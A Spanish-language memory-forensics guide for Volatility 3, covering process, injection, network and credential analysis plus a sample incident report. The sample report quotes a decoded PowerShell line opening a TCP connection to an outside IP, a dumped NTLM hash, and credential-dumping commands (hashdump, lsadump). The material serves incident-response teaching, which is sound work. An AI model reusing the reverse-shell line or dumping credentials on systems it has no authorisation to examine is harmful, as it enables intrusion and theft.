Análisis de Volcados de Memoria con Volatility
Cuándo Usarlo
- La RAM de un sistema comprometido ha sido capturada y necesita análisis forense en busca de artefactos de malware
- Detección de malware fileless que solo existe en memoria sin artefactos persistentes en disco
- Extracción de claves de cifrado, contraseñas o configuraciones descifradas de la memoria de procesos
- Identificación de inyección de procesos, inyección de DLL o process hollowing en un sistema comprometido
- Análisis de actividad de rootkits que se ocultan de las herramientas forenses estándar basadas en disco
No usar para análisis de imágenes de disco; usar Autopsy, FTK o Sleuth Kit para forense de disco.
Prerrequisitos
- Volatility 3 instalado (
pip install volatility3) con tablas de símbolos para el sistema operativo objetivo - Archivo de volcado de memoria adquirido del sistema objetivo (usando WinPmem, LiME o DumpIt)
- Conocimiento de la versión del sistema operativo origen para la correcta selección de perfil/símbolo
- Suficiente espacio en disco (los volcados de memoria pueden tener entre 4 y 64 GB)
- Reglas YARA para escanear la memoria en busca de firmas de malware conocidas
- Utilidad Strings para extraer cadenas de texto legibles de regiones de memoria
Flujo de Trabajo
Paso 1: Identificar el Perfil del Volcado de Memoria
Determina el sistema operativo y la versión a partir del volcado de memoria:
# Volatility 3: Detección automática del sistema operativo
vol3 -f memory.dmp windows.info
# Listar plugins disponibles
vol3 -f memory.dmp --help
# Si se necesitan símbolos, descargar desde:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Para Volatility 2 (heredado):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Paso 2: Enumerar Procesos en Ejecución
Lista todos los procesos e identifica entradas sospechosas:
# Listar todos los procesos
vol3 -f memory.dmp windows.pslist
# Árbol de procesos (relaciones padre-hijo)
vol3 -f memory.dmp windows.pstree
# Escanear en busca de procesos ocultos/desenlazados (detección de rootkits)
vol3 -f memory.dmp windows.psscan
# Comparar pslist vs psscan para encontrar procesos ocultos
# Los procesos en psscan pero no en pslist están potencialmente ocultados por rootkits
# Verificar process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Luego verificar que el EXE volcado coincide con el binario esperado en disco
Indicadores de Procesos Sospechosos:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe no generado por services.exe (padre incorrecto)
- csrss.exe/lsass.exe con un proceso padre inusual
- Múltiples instancias de lsass.exe (debería haber solo una)
- Procesos con nombres mal escritos (scvhost.exe, lssas.exe)
- cmd.exe o powershell.exe generados por WINWORD.EXE o el navegador
- Procesos ejecutándose desde rutas inusuales (%TEMP%, %APPDATA%)
- Procesos sin padre (huérfanos - padre terminado)
Paso 3: Detectar Inyección de Código Malicioso
Escanea en busca de código inyectado y process hollowing:
# Detectar código inyectado en procesos (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind busca:
# - Regiones de memoria con protección PAGE_EXECUTE_READWRITE
# - Regiones de memoria que contienen cabeceras PE (firma MZ/PE)
# - Anomalías en VAD (Descriptor de Direcciones Virtuales)
# Volcar regiones de memoria inyectadas para análisis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# Listar DLLs cargadas por proceso
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detectar procesos huecos comparando la imagen mapeada con el disco
vol3 -f memory.dmp windows.hollowfind
# Escanear en busca de controladores cargados (posibles controladores de rootkits)
vol3 -f memory.dmp windows.driverscan
# Listar módulos del kernel
vol3 -f memory.dmp windows.modules
Paso 4: Analizar Conexiones de Red
Extrae conexiones de red activas y cerradas:
# Listar todas las conexiones de red (activas y en escucha)
vol3 -f memory.dmp windows.netscan
# Columnas de salida: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filtrar por conexiones establecidas a IPs externas
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# Para Windows antiguo (XP/2003):
vol3 -f memory.dmp windows.netstat
# Referencia cruzada de PIDs con la lista de procesos
# Sospechoso: svchost.exe conectado a IP externa en puerto no estándar
# Sospechoso: notepad.exe o calc.exe con conexiones de red
Paso 5: Extraer Artefactos y Credenciales
Recupera datos sensibles de la memoria:
# Volcar la memoria de un proceso para un PID específico
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extraer el historial de línea de comandos
vol3 -f memory.dmp windows.cmdline
# Extraer variables de entorno
vol3 -f memory.dmp windows.envars --pid 2184
# Análisis del registro (extraer claves Run para persistencia)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extraer credenciales hasheadas/en caché
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extraer contenido del portapapeles
vol3 -f memory.dmp windows.clipboard
# Extracción de archivos desde la memoria
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Paso 6: Escanear Memoria con Reglas YARA
Aplica firmas YARA para detectar malware conocido en memoria:
# Escanear todo el volcado de memoria con reglas YARA
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Escanear la memoria de un proceso específico
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Escaneo YARA integrado para patrones comunes
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Escanear en busca de material de clave de cifrado
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Paso 7: Generación de Línea de Tiempo y Reporte
Crea una línea de tiempo de análisis y compila los hallazgos:
# Generar línea de tiempo completa
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# La línea de tiempo incluye:
# - Horas de creación/terminación de procesos
# - Marcas de tiempo de conexiones de red
# - Horas de modificación del registro
# - Horas de acceso a archivos
# Exportar lista de procesos para el informe
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Exportar conexiones de red
vol3 -f memory.dmp windows.netscan --output csv > network.csv
Conceptos Clave
| Término | Definición |
|---|---|
| Forense de Memoria | Análisis del contenido de la memoria volátil (RAM) para identificar procesos en ejecución, conexiones de red y artefactos en memoria que pueden no existir en disco |
| Process Hollowing | Técnica de malware que crea un proceso legítimo en estado suspendido, reemplaza su memoria con código malicioso y luego reanuda la ejecución |
| Malfind | Plugin de Volatility que detecta código inyectado identificando regiones de memoria con permisos ejecutables y cabeceras PE en VADs que no son de imagen |
| VAD (Descriptor de Direcciones Virtuales) | Estructura del kernel de Windows que rastrea las regiones de memoria asignadas a un proceso; las anomalías en los VAD indican inyección o hollowing |
| EPROCESS | Estructura del kernel de Windows que representa un proceso; los rootkits desenlazan entradas EPROCESS para ocultar procesos de las herramientas estándar |
| Escaneo de Etiquetas de Pool | Técnica de forense de memoria que escanea etiquetas de pool de objetos del kernel para encontrar objetos (procesos, archivos, conexiones) incluso cuando están desenlazados |
| Malware Fileless | Malware que opera completamente en memoria sin crear archivos en disco; solo detectable mediante forense de memoria |
Herramientas y Sistemas
- Volatility 3: Framework de forense de memoria de código abierto compatible con análisis de memoria de Windows, Linux y macOS con arquitectura de plugins
- WinPmem: Herramienta de adquisición de memoria para sistemas Windows que crea volcados de memoria raw para análisis offline
- LiME (Extractor de Memoria de Linux): Módulo de kernel cargable para capturar volcados de memoria de sistemas Linux
- Rekall: Framework alternativo de forense de memoria con algunas capacidades de análisis únicas (descontinuado pero aún útil)
- MemProcFS: Sistema de archivos de procesos de memoria que permite montar volcados de memoria como sistemas de archivos para un análisis intuitivo
Escenarios Comunes
Escenario: Detección de Malware Fileless Después de una Alerta de EDR
Contexto: EDR detectó actividad sospechosa de PowerShell, pero el actor de amenazas limpió los artefactos en disco. Se capturó un volcado de memoria antes de reiniciar el sistema. El análisis necesita identificar el malware, su mecanismo de persistencia y cualquier movimiento lateral.
Enfoque:
- Ejecutar
windows.pstreepara identificar la cadena de procesos (qué proceso generó PowerShell) - Ejecutar
windows.malfindpara detectar código inyectado en procesos en ejecución - Volcar la memoria del proceso sospechoso y extraer cadenas para URLs de C2
- Ejecutar
windows.netscanpara identificar conexiones de red desde los procesos comprometidos - Ejecutar
windows.cmdlinepara ver qué comandos ejecutó PowerShell - Escanear con reglas YARA en busca de familias de malware conocidas en la memoria del proceso volcado
- Extraer credenciales con
hashdumpylsadumppara evaluar el riesgo de movimiento lateral
Errores Comunes:
- Usar tablas de símbolos incorrectas para la versión del sistema operativo (provoca fallos en los plugins o resultados incorrectos)
- No comparar la salida de
pslistvspsscan(perder procesos ocultos por rootkits) - Ignorar procesos legítimos que han sido inyectados (centrarse en los resultados de malfind, no solo en los nombres de los procesos)
- No extraer la memoria completa del proceso antes de concluir el análisis (las cadenas del volcado de procesos pueden revelar IOCs adicionales)
Formato de Salida
INFORME DE ANÁLISIS FORENSE DE MEMORIA
=========================================
Archivo de Volcado: memory.dmp
Tamaño del Volcado: 16 GB
Versión del SO: Windows 10 21H2 (Build 19044)
Herramienta de Captura: WinPmem 4.0
Hora de Captura: 2025-09-15 14:35:00 UTC
PROCESOS SOSPECHOSOS
PID PPID Nombre Ruta Anomalía
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Ruta incorrecta
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Hijo de svchost falso
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Generado por PowerShell
INYECCIÓN DE CÓDIGO DETECTADA (malfind)
PID 852 (explorer.exe):
Dirección: 0x00400000 Tamaño: 98304 Protección: PAGE_EXECUTE_READWRITE
Cabecera: MZ (PE incrustado detectado)
SHA-256 del volcado: abc123def456...
CONEXIONES DE RED
PID Proceso Local Remota Estado
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
CREDENCIALES EXTRAÍDAS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
HISTORIAL DE LÍNEA DE COMANDOS
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decodificado: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
COINCIDENCIAS YARA
PID 2184: regla CobaltStrike_Beacon { coincidencia en 0x00401200 }
LÍNEA DE TIEMPO
14:10:00 svchost.exe (PID 2184) creado desde C:\Users\Admin\AppData\Temp\
14:10:05 Conexión de red a 185.220.101.42:443 establecida
14:12:30 powershell.exe (PID 4012) generado por svchost.exe
14:15:00 Inyección de código en explorer.exe (PID 852) detectada
14:20:00 Volcado de credenciales del proceso LSASS